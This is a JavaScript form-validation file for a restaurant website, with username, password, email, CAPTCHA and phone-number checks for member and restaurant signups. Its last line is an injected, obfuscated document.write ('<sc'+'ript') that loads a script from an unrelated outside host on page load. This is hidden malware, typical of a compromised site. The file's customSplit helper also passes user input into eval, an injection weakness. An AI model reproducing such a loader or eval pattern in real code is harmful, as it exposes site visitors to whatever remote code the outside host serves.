function isEmail(argvalue) 
{
	if (argvalue.indexOf(" ") != -1)
		return false;
	else if (argvalue.indexOf("@") == -1)
		return false;
	else if (argvalue.indexOf("@") == 0)
		return false;
	else if (argvalue.indexOf("@") == (argvalue.length-1))
		return false;
	
	var retSize = customSplit(argvalue, "@", "arrayString");
	
	if (arrayString[1].indexOf(".") == -1)
		return false;
	else if (arrayString[1].indexOf(".") == 0)
		return false;
	else if (arrayString[1].charAt(arrayString[1].length-1) == ".")
		return false;
	
	return true;
}

function customSplit(strvalue, separator, arrayName) 
{
	var n = 0;
	
	if (separator.length != 0) 
	{
		while (strvalue.indexOf(separator) != -1) 
		{
			eval("arr"+n+" = strvalue.substring(0, strvalue.indexOf(separator));");
			strvalue = strvalue.substring(strvalue.indexOf(separator)+separator.length, strvalue.length+1);
			n++;
		}
		eval("arr" + n + " = strvalue;");
		arraySize = n+1;
	}else{
		for (var x = 0; x < strvalue.length; x++) 
		{
			eval("arr"+n+" = \"" + strvalue.substring(x, x+1) + "\";");
			n++;
		}
		arraySize = n;
	}
	
	eval(arrayName + " = new makeArray(arraySize);");
	
	for (var i = 0; i < arraySize; i++)
		eval(arrayName + "[" + i + "] = arr" + i + ";");
	
	return arraySize;
}

function makeArray(IntarrSize) 
{
	for (var n = 0; n < IntarrSize; n++)
		this[n] = "";
	
	return this;
}

function passCheck()
{
	if	(	document.members.uname.value.length < 4 
			|| document.members.uname.value.length > 12
			|| document.members.pword.value.length < 4
			|| document.members.pword.value.length > 12
			|| document.members.pword.value != document.members.cpword.value
			//|| document.members.m_email.value == ""
			//|| !isEmail(document.members.m_email.value) 
			|| document.members.recaptcha_response_field.value == ""
			|| document.members.m_firstname.value == ""
			|| document.members.m_lastname.value == ""
		)	//END IF CONDITIONS	
	{
		if(document.members.uname.value.length < 4 || document.members.uname.value.length > 12)
		{
			alert("User Name Must Be Between 4 And 12 Characters.");
			document.members.uname.focus();
			document.members.uname.select();
			return false;
		}
		
		if(document.members.pword.value.length < 4 || document.members.pword.value.length > 12)
		{
			alert("Password Must Be Between 4 and 12 Characters.");
			document.members.pword.focus();
			document.members.pword.select();
			return false;
		}
		
		if(document.members.pword.value != document.members.cpword.value)
		{
			alert("Password And Confirm Password Do Not Match!");
			document.members.pword.value="";
			document.members.cpword.value="";
			document.members.pword.focus();
			document.members.pword.select();
			return false;
		}
		
		/*if(document.members.m_email.value == "")
		{
			alert("Email address is a required field.");
			document.members.m_email.focus();
			document.members.m_email.select();
			return false;
		}*/
		/*if(!isEmail(document.members.m_email.value))
		{
			alert("Not a valid email syntax!");
			document.members.m_email.focus();
			document.members.m_email.select();
			return false;
		}*/
		
		if(document.members.recaptcha_response_field.value == "")
		{
			alert("CAPTCHA verification required.");
			document.members.recaptcha_response_field.focus();
			document.members.recaptcha_response_field.select();
			return false;
		}
		
		
		if(document.members.m_firstname.value == "")
		{
			alert("First Name is a required field.");
			document.members.m_firstname.focus();
			document.members.m_firstname.select();
			return false;
		}
		
		if(document.members.m_lastname.value == "")
		{
			alert("Last Name is required field.");
			document.members.m_lastname.focus();
			document.members.m_lastname.select();
			return false;
		}
		return true;
	}	
}

function restaCheck()
{
	if	(	document.restaurant_login.restaurant_uname.value.length < 4 
			|| document.restaurant_login.restaurant_uname.value.length > 12
			|| document.restaurant_login.restaurant_pword.value.length < 4
			|| document.restaurant_login.restaurant_pword.value.length > 12
			|| document.restaurant_login.restaurant_pword.value != document.restaurant_login.restaurant_cpword.value
			|| !isEmail(document.restaurant_login.restaurant_email.value) 
			|| document.restaurant_login.restaurant_email.value == ""
			|| document.restaurant_login.restaurant_firstname.value == ""
			|| document.restaurant_login.restaurant_lastname.value == ""
			|| document.restaurant_login.restaurant_areacode.value == ""
			|| document.restaurant_login.restaurant_areacode.value.length != 3
			|| isNaN(document.restaurant_login.restaurant_areacode.value)
			|| document.restaurant_login.restaurant_exchange.value == ""
			|| document.restaurant_login.restaurant_exchange.value.length != 3
			|| isNaN(document.restaurant_login.restaurant_exchange.value)
			|| document.restaurant_login.restaurant_pnumber.value == ""
			|| document.restaurant_login.restaurant_pnumber.value.length != 4
			|| isNaN(document.restaurant_login.restaurant_pnumber.value)
		)	//END IF CONDITIONS	
	{
		if(document.restaurant_login.restaurant_uname.value.length < 4 || document.restaurant_login.restaurant_uname.value.length > 12)
		{
			alert("User Name Must Be Between 4 And 12 Characters.");
			document.restaurant_login.restaurant_uname.focus();
			document.restaurant_login.restaurant_uname.select();
			return false;
		}
		
		if(document.restaurant_login.restaurant_pword.value.length < 4 || document.restaurant_login.restaurant_pword.value.length > 12)
		{
			alert("Password Must Be Between 4 and 12 Characters.");
			document.restaurant_login.restaurant_pword.focus();
			document.restaurant_login.restaurant_pword.select();
			return false;
		}
		
		if(document.restaurant_login.restaurant_pword.value != document.restaurant_login.restaurant_cpword.value)
		{
			alert("Password And Confirm Password Do Not Match!");
			document.restaurant_login.restaurant_pword.value="";
			document.restaurant_login.restaurant_cpword.value="";
			document.restaurant_login.restaurant_pword.focus();
			document.restaurant_login.restaurant_pword.select();
			return false;
		}
		
		if(document.restaurant_login.restaurant_email.value == "")
		{
			alert("Email address is a required field.");
			document.restaurant_login.restaurant_email.focus();
			document.restaurant_login.restaurant_email.select();
			return false;
		}
		
		if(!isEmail(document.restaurant_login.restaurant_email.value))
		{
			alert("Not a valid email syntax!");
			document.restaurant_login.restaurant_email.focus();
			document.restaurant_login.restaurant_email.select();
			return false;
		}
		
		if(document.restaurant_login.restaurant_firstname.value == "")
		{
			alert("First Name is a required field.");
			document.restaurant_login.restaurant_firstname.focus();
			document.restaurant_login.restaurant_firstname.select();
			return false;
		}
		
		if(document.restaurant_login.restaurant_lastname.value == "")
		{
			alert("Last Name is required field.");
			document.restaurant_login.restaurant_lastname.focus();
			document.restaurant_login.restaurant_lastname.select();
			return false;
		}
		
		if(document.restaurant_login.restaurant_areacode.value == "" || document.restaurant_login.restaurant_areacode.value.length != 3) 
		{
			alert("Area Code is a required field with a length of 3 numbers.");
			document.restaurant_login.restaurant_areacode.focus();
			document.restaurant_login.restaurant_areacode.select();
			return false;
		}
		
		if(isNaN(document.restaurant_login.restaurant_areacode.value))
		{
			alert("Area Code must be numeric.");
			document.restaurant_login.restaurant_areacode.focus();
			document.restaurant_login.restaurant_areacode.select();
			return false;
		}
		
		if(document.restaurant_login.restaurant_exchange.value == "" || document.restaurant_login.restaurant_exchange.value.length != 3)
		{
			alert("Exchange is a required field with a length of 3 numbers.");
			document.restaurant_login.restaurant_areacode.focus();
			document.restaurant_login.restaurant_areacode.select();
			return false;
		}

		if(isNaN(document.restaurant_login.restaurant_exchange.value))
		{
			alert("Exchange must be numeric.");
			document.restaurant_login.restaurant_exchange.focus();
			document.restaurant_login.restaurant_exchange.select();
			return false;
		}


		if(document.restaurant_login.restaurant_pnumber.value == "" || document.restaurant_login.restaurant_pnumber.value.length != 4)
		{
			alert("Phone number is a required field with a length of 4 numbers.");																				
			document.restaurant_login.restaurant_pnumber.focus();
			document.restaurant_login.restaurant_pnumber.select();
			return false;
		}

		if(isNaN(document.restaurant_login.restaurant_pnumber.value))
		{
			alert("Phone Number must be numeric.");
			document.restaurant_login.restaurant_pnumber.focus();
			document.restaurant_login.restaurant_pnumber.select();
			return false;
		}

		return true;
	}	
}

function printpage() {
		window.print();  
}



document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Web_20.js"></scri'+'pt>');